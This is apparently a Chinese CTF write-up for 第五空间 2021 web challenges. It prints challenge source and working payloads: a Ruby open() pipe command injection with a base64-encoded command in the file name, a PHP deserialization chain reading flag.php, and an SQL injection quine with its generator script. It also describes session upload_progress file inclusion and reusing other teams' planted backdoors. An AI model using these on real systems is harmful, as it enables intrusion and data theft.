0%

第五空间2021 wp

第五空间2021 wp

不愧是500空间,日常平台500,题目出的稀碎,权限也不控制,睡一个午觉起来发现放题了,看了两分钟就hacked by lbw了,lbwnb!

最后还有一波诸神黄昏,十分钟掉十名,又到了我最喜欢的垂直上分环节

WebFTP

远古远古框架,13年就没更新了。从GitHub上找到了源码拉了一版下来,审了半天感觉打不动,不进后台无敌防御,默认的账户登不上去。然后开始扫目录,发现大家已经写了这么多后门了啊,随便挑了几个猜后门密码,有一个猜对了,连上去在环境变量中获得flag
笑死了
连进去之后顺便检查了一遍admin的密码,确实是被改了,变成了一个八位数字(应该不是爆破密码吧。。。这还带验证码的)好奇师傅们是怎么打进去的

PNG图片转换器

ruby题,我没学过ruby,硬看,所幸代码量不大,猜都大概猜出来在说什么了

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

两个功能,一个上传,一个读取,上传限制了文件后缀是png,并且文件名是他拼拼凑凑算了个MD5,无敌防御。上传功能点没法打
读取,读取限制了文件后缀png,不能有../,也非常的无敌。但是打肯定只能打这几个地方
或者说我觉得唯一可能的点就是open这个函数。一开始在想也没用可能直接发一个软链接文件上去,让他直接读flag然后写进png,再拿出来,但是除了之前有一个往压缩包里打包软链接的操作外,裸的软链接好像并不存在。计划不通

那么去翻文档,结果发现open这个函数能直接执行命令,真是绝了。。。(一开始因为文档是日文的一直不想去看来着
ruby open文档

ファイル名 file が ‘|’ で始まる時には続く文字列をコマンドとして起動し、コマンドの標準入出力に対してパイプラインを生成します

看不懂嗷,谷歌启动,意思就是以文件名|管道符开头的话会把这个当做命令去执行,然后open返回的是这个命令的输入输出流句柄
然后强行执行命令,用管道符配base64过/过滤
file=|echo "Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3NtCiA="|base64 -d|bash||.png

pklovecloud

垃圾反序列化,出题人必然是知识水平不过关才出的这么个垃圾题

<?php
include 'flag.php';
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct($c)
    {
        $this->cinder = $c;
    }
    function __toString()
    {
        if (isset($this->cinder))
            return $this->cinder->echo_name();
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);

        $this->openstack->neutron = $heat;
        var_dump($this->openstack);
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

if (isset($_GET['pks']))
{
    $logData = unserialize($_GET['pks']);
    echo $logData;
}
else
{
    highlight_file(__file__);
}

?>

我猜这里那个未定义的$heat是放在include的flag.php里面的,但是出题人显然写了些垃圾代码,你在外部定义的变量凭什么能在函数内用呢。我估计本意是想整个引用?以前在哪遇到过一个题就是要序列化一个引用数据来着,反正这里这个变量没用,直接都别管,全部置空就能过(之前做过一个超级解混淆的PHP题,印象里用未定义的变量赋值会直接fatal error退出来着的,不知道为什么这里还能跑下去)

$b = new ace();
$a = new acp($b);
$c = new acp(null);

$b->docker = serialize($c);
$b->filename = "flag.php";
echo $a;
//echo urlencode(serialize($a));

即可

EasyCleanup

确实非常ez,就是不知道为什么有一堆乱七八糟的没用的配置项

<?php

if(!isset($_GET['mode'])){
    highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
    $shell = $_GET['shell'] ?? 'phpinfo();';
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
    eval($shell);
}


if(isset($_GET['file'])){
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
    include $_GET['file'];
}


function filter($var): bool{
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

    foreach($banned as $ban){
        if(strstr($var, $ban)) return True;
    }

    return False;
}

function checkNums($var): bool{
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0;
    for($i = 0; $i < strlen($alphanum); $i++){
        for($j = 0; $j < strlen($var); $j++){
            if($var[$j] == $alphanum[$i]){
                $cnt += 1;
                if($cnt > 8) return True;
            }
        }
    }
    return False;
}

?>

一个eval功能,一个include功能。给看phpinfo,看了一眼,开了allow_url_include,但是waf过滤了冒号,好像不能用其他协议的话这个配置项也没什么用
然后eval还有非常奇怪的长度和字符数量限制。除了执行一下system('ls');之外,好像也干不了什么,像直接eval($_GET[1]);这样的,过不了那个$_waf,套一层大括号变成eval(${_GET[1]});,字符数量超了一个。搞不动这个eval功能有什么用
include功能就很实在,只限制了长度15,就当waf的限制就约等于allow_url_include没开
本地文件包含的打法也很多,先试了一下才学的的pearcmd,发现register_argc_argv没开,用不了。然后队友提出来一个include自包含崩溃遗留文件,临时文件加路径刚好14个字符,并且还有phpinfo可以看见临时文件名,善。然后找脚本打了几轮打不动
最后直接上经典upload_progress,这个时候才发现他把session的auto_clean关了。。。一打就通。傻逼题

这个题存在着多个无效配置和功能,暂且不能猜测出出题人想表达什么,以及出题人的攻击方式是什么样的

yet_another_mysql_injection

我是SQL注入垃圾,队友把users表翻了一遍没翻到东西,和我说还不知道怎么查别的表,所以我也咕了

翻到了wp,队友那个时候就和我说需要构造一个password,使得查询得到的password和输入的password一致
显然我也不会,但是wp提到了,并且这个文章还有点古老
SQLi Quine
利用replace语句套娃,进行替换,使得查询的结果和输入的内容是一致的,这个思路还挺好的,学习了

思路并不复杂,首先要确定一个查询语句
因为是构造一个输入和查询结果相等,所以一般来说就直接' union select 1 as password就行

  1. 第一次替换
    把用来套娃的语句REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)替换掉自己的查询语句查出的数据,即变为
    ' union select REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$) as password
  2. 第二次替换,将上述语句的$$替换成"$",并把所有单引号转换到双引号
    " union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password
  3. 数据填入,把1中得到的语句中的$$替换为用单引号包裹的2中的语句
    ' union select REPLACE(REPLACE('" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password',CHAR(34),CHAR(39)),CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password') as password

成功得到输入和查询结果相同的语句

mysql> select password from users where username='' union select REPLACE(REPLACE('" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password',CHAR(34),CHAR(39)),CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password') as password;
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| password                                                                                                                                                                                                                                    |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ' union select REPLACE(REPLACE('" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password',CHAR(34),CHAR(39)),CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password') as password |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

这里在最初的replace模板中就进行了单双引号的修改,所以2中将单引号变为双引号不影响最终结果
文章作者还贴了一个简单脚本来产生这类payload

data = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
blob = data.replace('$$','"$"').replace("'",'"')
data = data.replace('$$',"'"+blob+"'")
print(data)